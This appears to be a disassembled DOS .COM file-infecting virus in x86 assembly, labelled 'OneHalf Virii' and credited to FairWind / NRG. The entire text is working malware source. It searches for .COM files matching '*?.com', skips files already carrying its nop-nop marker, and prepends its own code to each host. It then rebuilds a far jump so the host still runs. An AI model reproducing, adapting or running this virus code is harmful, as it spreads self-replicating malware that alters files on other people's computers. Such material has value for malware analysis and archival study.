OneHalf  Virii

BLJEC_3A

; --------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
; --------------------------------------------------------------------------

.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID

mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb

lea ax,begp
mov cx,ax
sub ax,100h
mov ds:[0fah],ax
add cx,fso
mov ds:[0f8h],cx
ADD CX,AX
mov ds:[0f6h],cx
mov cx,ax
lea si,kkk
mov di,ds:[0f8h]
RB: REP MOVSB
stc
LEA DX,FFF
MOV AH,4EH
MOV CX,20H
INT 21H

or ax,ax
jz LLL
jmp done

LLL:
MOV AH,2FH
INT 21H

mov ax,es:[bx+1ah]
mov ds:[0fch],ax
add bx,1eh
mov ds:[0feh],bx

clc
mov ax,3d02h
mov dx,bx
int 21h

mov bx,ax
mov ah,3fh
mov cx,ds:[0fch]
mov dx,ds:[0f6h]
int 21h

mov bx,dx
mov ax,[bx]
sub ax,9090h
jz fin


MOV AX,ds:[0fch]
mov bx,ds:[0f6h]
mov [bx-2],ax

mov ah,3ch
mov cx,00h
mov dx,ds:[0feh]
clc
int 21h

mov bx,ax
mov ah,40h
mov cx,ds:[0fch]
add cx,ds:[0fah]
mov DX,ds:[0f8h]
int 21h

mov ah,3eh
int 21h
FIN:
stc
mov ah,4fh
int 21h
or ax,ax
jnz done

JMP lll

DONE:

mov cx,80h
mov si,0ff7fh
mov di,0080h
rep movsb

MOV AX,0A4F3H
mov ds:[0fff9h],ax
mov al,0eah
mov ds:[0fffbh],al
mov ax,100h
mov ds:[0fffch],ax
lea si,begp
lea di,kkk
mov ax,cs
mov ds:[0fffeh],ax
mov kk,ax
mov cx,fso

db 0eah
dw 0fff9h
kk dw 0000h

fff db '*?.com',0
fso dw 0005h

begp:
MOV AX,4C00H
int 21h

end kkk